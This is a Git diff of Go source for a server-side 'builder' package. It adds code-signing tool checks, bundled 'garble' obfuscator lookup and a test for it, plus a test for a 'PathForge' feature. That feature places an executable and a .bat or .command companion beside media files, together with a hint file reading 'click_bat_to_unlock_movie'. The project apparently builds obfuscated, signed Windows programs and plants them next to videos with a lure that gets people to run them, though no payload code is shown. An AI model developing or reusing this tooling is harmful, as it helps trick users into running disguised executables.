var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if res.Total != 1 {
|
||||
t.Fatalf("total: %d", res.Total)
|
||||
}
|
||||
// One media file → exe + bat (or .command), not counting hint file.
|
||||
if res.Placed < 1 || res.Placed >= 3 {
|
||||
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
|
||||
}
|
||||
for _, entry := range res.Results {
|
||||
for _, f := range entry.Files {
|
||||
if f == "click_bat_to_unlock_movie" {
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -9,6 +9,20 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func signingToolMissingNote() string {
|
||||
return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
|
||||
}
|
||||
|
||||
func (h *Handler) signingToolAvailable() bool {
|
||||
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
|
||||
if _, err := exec.LookPath(tool); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
_, err := exec.LookPath("osslsigncode")
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
|
||||
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
|
||||
// Install: apt install osslsigncode / brew install osslsigncode
|
||||
|
||||
@@ -11,11 +11,32 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
func signingToolMissingNote() string {
|
||||
return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
|
||||
}
|
||||
|
||||
func (h *Handler) signingToolAvailable() bool {
|
||||
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
|
||||
if _, err := os.Stat(tool); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
_, err := findSignTool()
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||
return false
|
||||
}
|
||||
return req.SignBuild
|
||||
if !req.SignBuild {
|
||||
return false
|
||||
}
|
||||
if _, err := findSignTool(); err != nil {
|
||||
log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (h *Handler) signExecutable(path string) error {
|
||||
|
||||
@@ -2,6 +2,7 @@ package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func bundledToolPath(projectRoot, name string) string {
|
||||
if projectRoot == "" || projectRoot == "." {
|
||||
return ""
|
||||
}
|
||||
base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
|
||||
for _, candidate := range []string{
|
||||
filepath.Join(base, name),
|
||||
filepath.Join(base, name+".exe"),
|
||||
} {
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (h *Handler) resolveToolPaths(projectRoot string) {
|
||||
if h.goBinPath == "" {
|
||||
h.goBinPath = "go"
|
||||
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
|
||||
}
|
||||
if p, err := exec.LookPath("garble"); err == nil {
|
||||
h.garblePath = p
|
||||
} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
|
||||
h.garblePath = p
|
||||
}
|
||||
if p, err := exec.LookPath("go-winres"); err == nil {
|
||||
h.goWinresPath = p
|
||||
} else if p, err := exec.LookPath("go-winres.exe"); err == nil {
|
||||
h.goWinresPath = p
|
||||
} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
|
||||
h.goWinresPath = p
|
||||
}
|
||||
}
|
||||
|
||||
29
server/internal/builder/winres_test.go
Normal file
29
server/internal/builder/winres_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestResolveToolPathsBundledGarble(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("bundled garble probe uses .exe suffix on Windows")
|
||||
}
|
||||
root := t.TempDir()
|
||||
binDir := filepath.Join(root, "toolchain", "gopath", "bin")
|
||||
if err := os.MkdirAll(binDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
garblePath := filepath.Join(binDir, "garble")
|
||||
if err := os.WriteFile(garblePath, []byte("#!/bin/sh\n"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
h := &Handler{projectRoot: root}
|
||||
h.resolveToolPaths(root)
|
||||
if h.garblePath != garblePath {
|
||||
t.Fatalf("expected bundled garble %q, got %q", garblePath, h.garblePath)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user